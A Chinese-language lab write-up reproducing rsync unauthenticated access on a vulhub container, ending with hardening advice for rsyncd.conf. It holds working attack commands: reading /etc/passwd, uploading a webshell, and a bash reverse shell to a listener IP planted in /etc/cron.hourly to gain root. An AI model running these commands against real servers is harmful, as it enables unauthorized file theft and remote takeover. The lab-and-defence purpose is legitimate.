rsync 未授权访问漏洞复现

你也一定是某个人翘首以盼的惊喜!

最近在渗透环境中有遇到Rsync端口开放的,所以刚好也来复现下这个漏洞,亦当记录笔记:

0x00 漏洞介绍

RsyncLinux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync协议默认监听873端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

0x01 环境搭建

环境搭建我依然用vulhub,简直太好了!

同样我们进入到/vulhub-master/rsync/common目录下,编译及运行rsync服务器:

1
2
docker-compose build
docker-compose up -d

但在编译的时候有报错

解决:在Dockerfile文件中add 这一行

1
RUN printf "deb http://archive.debian.org/debian/ jessie main\ndeb-src http://archive.debian.org/debian/ jessie main\ndeb http://security.debian.org jessie/updates main\ndeb-src http://security.debian.org jessie/updates main" > /etc/apt/sources.list

接着我们继续来看看rsync的常用命令:

1
2
3
4
5
6
7
8
列举整个同步目录或指定目录:
rsync ip::
rsync ip::xxx/
下载文件或目录到本地:
rsync -avz ip::xxx/xx.php /root
rsync -avz ip::xxx/ /var/tmp
上传文件到服务器:
rsync -avz webshell.php ip::web/

0x02 漏洞复现

nmap先扫一波:

1
2
3
4
rsync rsync://your-ip:873/
rsync rsync://your-ip:873/src 来查看模块名列表
我们再列出src模块下的文件
rsync rsync://your-ip:873/src/

1
2
我们可以下载任意文件:
rsync -av rsync://your-ip:873/src/etc/passwd ./

提权:

写入shell并赋权:

1
2
3
4
#!/bin/bash 
/bin/bash -i >& /dev/tcp/192.168.91.128/4444 0>&1

chmod +x shell

shell上传至/etc/cron.hourly

1
2
rsync -av shell rsync://192.168.91.130/src/etc/cron.hourly
rsync -av shell rsync://your-ip:873/src/etc/cron.d/shell

本地监听:

1
nc -nvv -lp 4444

0x03 防范与总结

这种未授权访问漏洞,一般都是在配置的时候,未能实现安全配置或权限认证而导致的,所以我们先来看看rsync的文件配置与认证方式。rsync的默认配置文件为/etc/rsyncd.conf,常驻模式启动命令的rsync -daemon,启动成功后默认监听于TCP端口873,可通过rsync的守护及SSH两种方式进行认证。

我们来看下含有漏洞的rsync的文件的配置

rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。所以问题就出在这。

我们来看下配置文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
配置文件位置:/etc/rsync.conf,常见配置项

motd file -> motd文件位置
log file -> 日志文件位置
path -> 默认路径位置
use chroot -> 是否限定在该目录下,默认为true,当有软连接时,需要改为fasle,如果为true就限定为模块默认目录
read only -> 只读配置(yes or no)
list=true -> 是否可以列出模块名
uid = root -> 传输使用的用户名
gid = root -> 传输使用的用户组
auth users -> 认证用户名
secrets file=/etc/rsyncd.passwd -> 指定密码文件,如果设定验证用户,这一项必须设置,设定密码权限为400,密码文件/etc/rsyncd.passwd的内容格式为:username:password
hosts allow=192.168.0.101 -> 设置可以允许访问的主机,可以是网段,多个Ip地址用空格隔开
hosts deny 禁止的主机,host的两项可以使用*表任意。

漏洞修复:

  • 正确配置认证用户名或者密码
  • 使用足够但最小权限
  • host allow/deny 来控制接入源IP
  • 可以配置只读
  • 非必要应该仅限制配置路径下可访问

0x04 参考

【1】https://github.com/vulhub/vulhub/tree/master/rsync/common

【2】https://superuser.com/questions/1423486/issue-with-fetching-http-deb-debian-org-debian-dists-jessie-updates-inrelease/1424377%EF%BC%89

【3】https://blog.csdn.net/qq_36374896/article/details/84143428